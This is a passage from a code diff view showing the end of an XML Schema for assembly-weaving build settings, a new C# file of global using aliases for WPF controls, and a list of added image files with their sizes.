</xs:element>
|
||||
</xs:all>
|
||||
<xs:attribute name="VerifyAssembly" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="VerifyIgnoreCodes" type="xs:string">
|
||||
<xs:annotation>
|
||||
<xs:documentation>A comma-separated list of error codes that can be safely ignored in assembly verification.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
<xs:attribute name="GenerateXsd" type="xs:boolean">
|
||||
<xs:annotation>
|
||||
<xs:documentation>'false' to turn off automatic generation of the XML Schema file.</xs:documentation>
|
||||
</xs:annotation>
|
||||
</xs:attribute>
|
||||
</xs:complexType>
|
||||
</xs:element>
|
||||
</xs:schema>
|
||||
@@ -0,0 +1,9 @@
|
||||
global using Button = System.Windows.Controls.Button;
|
||||
global using TextBlock = System.Windows.Controls.TextBlock;
|
||||
global using TextBox = System.Windows.Controls.TextBox;
|
||||
global using Image = System.Windows.Controls.Image;
|
||||
global using DataGrid = System.Windows.Controls.DataGrid;
|
||||
global using ListView = System.Windows.Controls.ListView;
|
||||
global using MenuItem = System.Windows.Controls.MenuItem;
|
||||
global using MessageBox = System.Windows.MessageBox;
|
||||
global using MessageBoxButton = System.Windows.MessageBoxButton;
|
||||
|
After Width: | Height: | Size: 165 KiB |
|
After Width: | Height: | Size: 489 B |
|
After Width: | Height: | Size: 1.4 KiB |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 393 B |
|
After Width: | Height: | Size: 1.0 KiB |
|
After Width: | Height: | Size: 2.2 KiB |
|
After Width: | Height: | Size: 514 B |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 2.7 KiB |
|
After Width: | Height: | Size: 710 B |
|
After Width: | Height: | Size: 1.7 KiB |
|
After Width: | Height: | Size: 3.2 KiB |
|
After Width: | Height: | Size: 721 B |
|
After Width: | Height: | Size: 2.0 KiB |
|
After Width: | Height: | Size: 4.0 KiB |
|
After Width: | Height: | Size: 587 B |
|
After Width: | Height: | Size: 1.5 KiB |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 372 B |
|
After Width: | Height: | Size: 1.2 KiB |
|
After Width: | Height: | Size: 2.5 KiB |
|
After Width: | Height: | Size: 488 B |
|
After Width: | Height: | Size: 1.3 KiB |
|
After Width: | Height: | Size: 2.6 KiB |
|
After Width: | Height: | Size: 378 B |
|
After Width: | Height: | Size: 1020 B |
|
After Width: | Height: | Size: 2.2 KiB |
|
After Width: | Height: | Size: 762 B |
|
After Width: | Height: | Size: 1.8 KiB |
|
After Width: | Height: | Size: 3.5 KiB |
|
After Width: | Height: | Size: 258 B |
|
After Width: | Height: | Size: 693 B |
|
After Width: | Height: | Size: 1.7 KiB |